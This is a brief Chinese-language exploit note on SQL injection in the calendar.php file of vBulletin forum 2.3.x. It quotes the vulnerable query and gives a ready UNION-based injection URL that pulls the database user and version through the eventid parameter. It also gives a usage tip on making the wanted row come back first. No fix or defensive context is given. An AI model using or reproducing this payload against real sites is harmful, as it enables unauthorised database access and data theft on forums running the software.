vBulletin 論壇 2.3.xx SQL 注入
calendar.php 有sql注入問題。
-------- 截自calendar.php第585行----------
else if ($ action == "編輯")
{
$eventinfo = $DB_site->query_first("SELECT allowedmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid")
如果MySQL版本大於4.00,則可以使用UNION攻擊。
---------------- -------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12 union (SELECT allowedmilies,public,userid,'0000-0-0',user(),version() FROM calendar_ev
ents WHERE eventid = 13) order by eventdate
---------- ---------------------------- ---
query_first函數只會傳回查詢結果的第一行,所以請確保它回傳!
你想要的那個。